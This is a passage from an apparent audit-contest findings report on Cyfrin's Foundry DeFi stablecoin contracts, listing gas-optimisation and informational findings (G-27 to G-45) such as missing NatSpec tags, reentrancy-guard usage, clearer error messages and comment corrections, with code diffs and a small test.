- 350:     function getAccountCollateralValue(address user) public view returns (uint256 totalCollateralValueInUsd) {
+ 350: // @param user

- 361:     function getUsdValue(address token, uint256 amount) public view returns (uint256) {
+ 361: // @param token

- 361:     function getUsdValue(address token, uint256 amount) public view returns (uint256) {
+ 361: // @param amount

- 369:     function getAccountInformation(address user)
+ 369: // @param user

- 385:     function calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)
+ 385: // @param totalDscMinted

- 385:     function calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)
+ 385: // @param collateralValueInUsd

- 393:     function getHealthFactor(address user) external view returns (uint256) {
+ 393: // @param user

- 401:     function getCollateralTokenPriceFeed(address token) external view returns (address) {
+ 401: // @param token

- 417:     function getCollateralBalanceOfUser(address user, address token) external view returns (uint256) {
+ 417: // @param user

- 417:     function getCollateralBalanceOfUser(address user, address token) external view returns (uint256) {
+ 417: // @param token

File: src/DecentralizedStableCoin.sol

- 46:     function burn(uint256 _amount) public override onlyOwner {
+ 46: // @param _amount

- 57:     function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {
+ 57: // @param _to

- 57:     function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {
+ 57: // @param _amount

File: src/libraries/OracleLib.sol

- 21:     function staleCheckLatestRoundData(AggregatorV3Interface priceFeed)
+ 21: // @param priceFeed

- 35:     function getTimeout(AggregatorV3Interface /* chainlinkFeed */ ) public pure returns (uint256) {
+ 35: // @param 

G-27. NatSpec @return argument is missing

Submitted by 0xbug, tsar, neocrao, SolSaver. Selected submission by: SolSaver.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main/src/DSCEngine.sol

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main/src/DecentralizedStableCoin.sol

Summary

NatSpec @return argument is missing

Vulnerability Details

Instances (19):

File: src/DSCEngine.sol

299:     function _getAccountInformation(address user)

312:     function _healthFactor(address user) private view returns (uint256) {

326:     function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)

342:     function getTokenAmountFromUsd(address token, uint256 usdAmountInWei) public view returns (uint256) {

352:     function getAccountCollateralValue(address user) public view returns (uint256 totalCollateralValueInUsd) {

363:     function getUsdValue(address token, uint256 amount) public view returns (uint256) {

373:     function getAccountInformation(address user)

381:     function getAdditionalFeedPrecision() external pure returns (uint256) {

385:     function getPrecision() external pure returns (uint256) {

389:     function calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)

397:     function getHealthFactor(address user) external view returns (uint256) {

401:     function getLiquidationBonus() external pure returns (uint256) {

405:     function getCollateralTokenPriceFeed(address token) external view returns (address) {

409:     function getCollateralTokens() external view returns (address[] memory) {

413:     function getMinHealthFactor() external pure returns (uint256) {

417:     function getLiquidationThreshold() external pure returns (uint256) {

421:     function getCollateralBalanceOfUser(address user, address token) external view returns (uint256) {

425:     function getDsc() external view returns (address) {


Link to code - https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main/src/DSCEngine.sol

File: src/DecentralizedStableCoin.sol

58:     function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {


Link to code - https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main/src/DecentralizedStableCoin.sol

Tools Used

Code Review using VSCode

Recommendations

Add @return NatSpec

G-28. [I-4] Constants in comparisons should appear on the left side

Submitted by 0xbug, neocrao, mau, SolSaver. Selected submission by: 0xbug.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol

Summary

Doing so will prevent typo bugs

Vulnerability Details

Instances (4):

File: src/DSCEngine.sol

96:         if (amount == 0) {

329:         if (totalDscMinted == 0) return type(uint256).max;

File: src/DecentralizedStableCoin.sol

48:         if (_amount <= 0) { 

61:         if (_amount <= 0) { 

Impact

Tools Used

Recommendations

G-29. [I-10] Functions not used internally could be marked external

Submitted by 0xbug, hunterw3b, Ericselvig, SAQ, alexzoid. Selected submission by: 0xbug.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol

Summary

Vulnerability Details

Instances (3):

File: src/DecentralizedStableCoin.sol

46:     function burn(uint256 _amount) public override onlyOwner {

File: src/libraries/OracleLib.sol

21:     function staleCheckLatestRoundData(AggregatorV3Interface priceFeed)

35:     function getTimeout(AggregatorV3Interface /* chainlinkFeed */ ) public pure returns (uint256) {

Impact

Tools Used

Recommendations

G-30. Use assembly to check for address(0)

Submitted by 0xbug, ch0bu, neocrao, TheSavageTeddy, Ericselvig, SAQ, 0xadarsh, xfu, SolSaver. Selected submission by: Ericselvig.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L58

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L103

Summary

Using assembly to check for address(0) is gas-efficient. There are 2 instances of this issue:

File: src/DecentralizedStableCoin.sol

58:  if (_to == address(0)) {
File: src/DSCEngine.sol

103:  if (s_priceFeeds[token] == address(0)) {

G-31. Misleading NatSpec for redeemCollateral function

Submitted by funkornaut.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L181

Summary

This comment on the redeemCollateral function is misleading * @notice If you have DSC minted, you will not be able to redeem until you burn your DSC

Vulnerability Details

The redeemCollateral function does not directly require the user to burn DSC to redeem their collateral. Instead, it checks whether the operation would break the health factor. In cases where a user has a high collateralization ratio, they may redeem some of their collateral without burning DSC while keeping their health factor above the threshold. Therefore, the NatSpec comment may inaccurately represent the redeemCollateral functionality under certain conditions.

PoC: Add this test to DSCEngineTest.t.sol and it passes

    function testCanRedeemCollateralWithSomeDSCMintedAndNotBurnDSC() public {
        //user deposits a large amout of weth and mints a small amount of dsc
        vm.startPrank(user);
        ERC20Mock(weth).approve(address(dsce), 1000);
        dsce.depositCollateralAndMintDsc(weth, 1000, 1);
        //user redeems some collateral without burning any dsc
        dsce.redeemCollateral(weth, 10);
        vm.stopPrank;
    }

Impact

This comment can lead users and auditors to misunderstand how the function works.

Tools Used

Manual Review

Recommendations

Remove the NatSpec line or further clarify that the redeemCollateral function may revert if the user has too much DSC minted and will need to burn DSC before calling the function again.

G-32. Use hardcode address instead address(this)

Submitted by souilos, TheSavageTeddy, SAQ. Selected submission by: SAQ.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L157

Summary

[G-20] Use hardcode address instead address(this)

Instead of using address(this), it is more gas-efficient to pre-calculate and use the hardcoded address. Foundry’s script.sol and solmate’s LibRlp.sol contracts can help achieve this. References: https://book.getfoundry.sh/reference/forge-std/compute-create-address

file: /src/DSCEngine.sol

157        bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L157

G-33. Using nonReentrant when it's unnecessary

Submitted by Dliteofficial, iurii2002, mahyar. Selected submission by: mahyar.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L153

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L186

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L197

Details

In depositCollateral, redeemCollateral, mintDsc and liquidate functions you are using nonReentrant modifier to prevent reentarny but since the only external call is calling a function on ERC20 tokens there is no way to someone be able to re enter the function, even if attacker some how re enter the function nothing will break since you update the state before sending tokens.

nonReentrant modifier update the state two times, by using this modifier in functions they cost a lots of gas, for being more safe you can only use it with liquidate function and remove it from other functions.

    function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral)
        public
        moreThanZero(amountCollateral)
        isAllowedToken(tokenCollateralAddress)
-       nonReentrant
    {


    function redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral)
        public
        moreThanZero(amountCollateral)
-       nonReentrant
    {


-    function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) nonReentrant {
+    function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) {

G-34. Improve the error being thrown

Submitted by 0x0115.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L158-L160

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L56

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L276-L278

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L288-L290

Summary

This is an informational finding. The error being thrown can add more information to make it clearer.

Code Snippet

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L158-L160

Vulnerability Details

The error being thrown can add more information to make it clearer.

Impact

Improving the error being thrown can make things clearer for users or developers.

Tools Used

Manual Review

Recommendations

In file DSCEngine.sol, these can be fixed:


...

    error DSCEngine__NotAllowedToken();
-   error DSCEngine__TransferFailed();
+   error DSCEngine__TransferFailed(address token);
    error DSCEngine__BreaksHealthFactor(uint256 healthFactor);
    error DSCEngine__MintFailed();

...

function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral)
        public
        moreThanZero(amountCollateral)
        isAllowedToken(tokenCollateralAddress)
        nonReentrant
    {
        s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;
        emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);
        bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral); 
        if (!success) {
-            revert DSCEngine__TransferFailed(); // @audit informational - it is better to put token address or the tx sender: msg.sender in the error message. i.e. DSCEngine__TransferFailed(msg.sender, tokenCollateralAddress);
+            revert DSCEngine__TransferFailed(tokenCollateralAddress); // @audit informational - it is better to put token address or the tx sender: msg.sender in the error message. i.e. DSCEngine__TransferFailed(msg.sender, tokenCollateralAddress);
        }
    }
function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {
        s_DSCMinted[onBehalfOf] -= amountDscToBurn;
        bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);
        // This conditional is hypothtically unreachable
        if (!success) {
-            revert DSCEngine__TransferFailed();
+            revert DSCEngine__TransferFailed(address(i_dsc));
        }
        i_dsc.burn(amountDscToBurn);
    }
function _redeemCollateral(address from, address to, address tokenCollateralAddress, uint256 amountCollateral)
        private
    {
        s_collateralDeposited[from][tokenCollateralAddress] -= amountCollateral;
        emit CollateralRedeemed(from, to, tokenCollateralAddress, amountCollateral);
        bool success = IERC20(tokenCollateralAddress).transfer(to, amountCollateral);
        if (!success) {
-            revert DSCEngine__TransferFailed();
+            revert DSCEngine__TransferFailed(tokenCollateralAddress);
        }
    }

G-35. More documentation is preferred

Submitted by 0x0115.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/libraries/OracleLib.sol#L19-L37

Summary

Code base needs more Natspec comments. Documentation should be consistent and clear for the auditors and devs.

Vulnerability Details

Code base lacks documentation.

Impact

Documentation should be consistent and clear for the auditors and devs.

Tools Used

Manual review

Recommendations

+    /**
+     * @notice This function checks if the latest round data is stale or not.
+     * @dev If the latest round data is stale, the function will revert.
+     * @param priceFeed The Chainlink Oracle price feed.
+     */
    function staleCheckLatestRoundData(AggregatorV3Interface priceFeed) // @audit here if the oracle price is stale, the function will revert, then the system will be unusable. This is not right and we need a plan B in this case.
        public
        view
        returns (uint80, int256, uint256, uint256, uint80)
    {
        (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) =
            priceFeed.latestRoundData();
        // @audit also check 1. if the answer is more than 0, and check 2. the current roundId is more than the previous roundId.
        uint256 secondsSince = block.timestamp - updatedAt;
        if (secondsSince > TIMEOUT) revert OracleLib__StalePrice();

        return (roundId, answer, startedAt, updatedAt, answeredInRound);
    }

+    /**
+     * @notice This function returns the timeout value for the OracleLib
+     */
    function getTimeout(AggregatorV3Interface /* chainlinkFeed */ ) public pure returns (uint256) {
        return TIMEOUT;
    }
}

G-36. Imports could be organized more systematically

Submitted by ABA, mau. Selected submission by: mau.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L26

Summary

The contract's interface should be imported first, followed by each of the interfaces it uses, followed by all other files. The examples below do not follow this layout.

Tools Used

Manual Review

G-37. Unnesessery argument in getTimeout function

Submitted by iurii2002, 0xDanielH, xfu. Selected submission by: iurii2002.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/libraries/OracleLib.sol#L36

Summary

Unnecessary argument passed to getTimeout function will cost additional gas

Impact

Around 2200 extra gas will be used for storing unnecessary argument

[PASS] testGetTimeout() (gas: 5532)
[PASS] testGetTimeoutWhitounArgument() (gas: 3352)

Tools Used

Observation, foundry unit test

Functions:

    function getTimeout(AggregatorV3Interface /* chainlinkFeed */ ) public pure returns (uint256) {
        return TIMEOUT;
    }

    function getTimeoutWhitounArgument() public pure returns (uint256) {
        return TIMEOUT;
    }

Tests:

    function testGetTimeout() public {
        uint256 expectedTimeout = 3 hours;
        assertEq(OracleLib.getTimeout(AggregatorV3Interface(address(aggregator))), expectedTimeout);
    }

    function testGetTimeoutWhitounArgument() public {
        uint256 expectedTimeout = 3 hours;
        assertEq(OracleLib.getTimeoutWhitounArgument(), expectedTimeout);
    }

Recommendations

Rewrite function to

    function getTimeoutWhitounArgument() public pure returns (uint256) {
        return TIMEOUT;
    }

G-38. Not respecting the Checks-Effects-Interactions pattern that can be a place for bugs

Submitted by 0xFEll.

Summary

Potential Reentrancy Attack: Even though the contract uses a reentrancy guard, it's crucial to ensure that all external calls are at the end of the function (the Checks-Effects-Interactions pattern). In the liquidate function, the _redeemCollateral function (which makes an external call) is followed by _burnDsc which alters the state. This could potentially lead to a reentrancy attack.

Vulnerability Details

Impact

Tools Used

chaingpt

Recommendations

Swap the order of _redeemCollateral and _burnDsc on the liquidate function

G-39. >= costs less gas than >

Submitted by lwltea, SAQ. Selected submission by: SAQ.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/libraries/OracleLib.sol#L30

Summary

[G-19] >= costs less gas than >

The compiler uses opcodes GT and ISZERO for solidity code that uses >, but only requires LT for >=, which saves 3 gas Reference: https://gist.github.com/IllIllI000/3dc79d25acccfa16dee4e83ffdc6ffde

file: /src/libraries/OracleLib.sol

30        if (secondsSince > TIMEOUT) revert OracleLib__StalePrice();

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/libraries/OracleLib.sol#L30

G-40. [L-03] Continues with the standard use for Collateral variable

Submitted by pina.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L229

Summary

Throughout the contract when you want to refer to the collateral token address variable, it is referred to as tokenCollateralAddress and only in the liquidate function is it referred to as collateral.

Impact

Low

Tools Used

Manual code review

Recommendations

It is recommended to replace this value with the tokenCollateralAddress to avoid confusion or doubt if the same value is being referenced.

G-41. Wrong comment DecentralizedStableCoin.sol

Submitted by IvanFitro, karanctf. Selected submission by: karanctf.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DecentralizedStableCoin.sol#L32

It should be

-- * Collateral: Exogenous (ETH & BTC)
++ * Collateral: Exogenous (wETH & wBTC)

G-42. Consider disabling renounceOwnership()

Submitted by mau.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L39

Summary

If the plan for your project does not include eventually giving up all ownership control, consider overwriting OpenZeppelin's Ownable's renounceOwnership() function in order to disable it.

Tools Used

Manual Review

G-43. Boolean equality

Submitted by crypt0mate.

Relevant GitHub Links

https://github.com/Cyfrin/foundry-defi-stablecoin-f23/blob/main/src/DSCEngine.sol#L238-L240

Summary

Boolean constants can be used directly and do not need to be compared to true or false.

Vulnerability Details

!minted is more concise and readable than minted != true. The !minted expression directly conveys the meaning "if not minted" or "if minted is false," which is much clearer than explicitly comparing minted to true. The latter form, minted != true, adds unnecessary complexity and verbosity to the code.

Impact

Code Readability

Tools Used

Manual code inspection

Recommendations

Change this:

if (minted != true) {
    revert DSCEngine__MintFailed();
}

to:

if (!minted) {
    revert DSCEngine__MintFailed();
}

G-44. Amounts should be checked for 0 before calling a transfer

Submitted by xfu.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main/src/DSCEngine.sol#L157

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main/src/DSCEngine.sol#L287

Summary

Vulnerability Details

According to the fact that EIP-20 states that zero-valued transfers must be accepted.

Checking non-zero transfer values can avoid an expensive external call and save gas. While this is done at some places, it’s not consistently done in the solution.

There are 2 instances of this issue:

Impact

Tools Used

Recommendations

Consider adding a non-zero-value check at the beginning of function.

G-45. collateral and debt to cover not validated

Submitted by owade.

Summary

In DSCEngine.sol, collateral and debtToCover are not checked if valid in liquidate() function.

Vulnerability Details

The liquidate function does not revert early if collateral and debtToCover are not valid

Impact

Gas can be wasted during runtime

Tools Used

Manual review

Recommendations

Use the following

 function liquidate(address collateral, address user, uint256 debtToCover)
        external
        moreThanZero(debtToCover)
        nonReentrant
    {
        // need to check health factor of the user
        uint256 startingUserHealthFactor = _healthFactor(user);
        if (startingUserHealthFactor >= MIN_HEALTH_FACTOR) {
            revert DSCEngine__HealthFactorOk();
        }
        if(debtToCover > getCollateralBalanceOfUser(user,collateral)){
            revert DSCEngine__ExcessDebtToCover();
        }

        //......
  
    }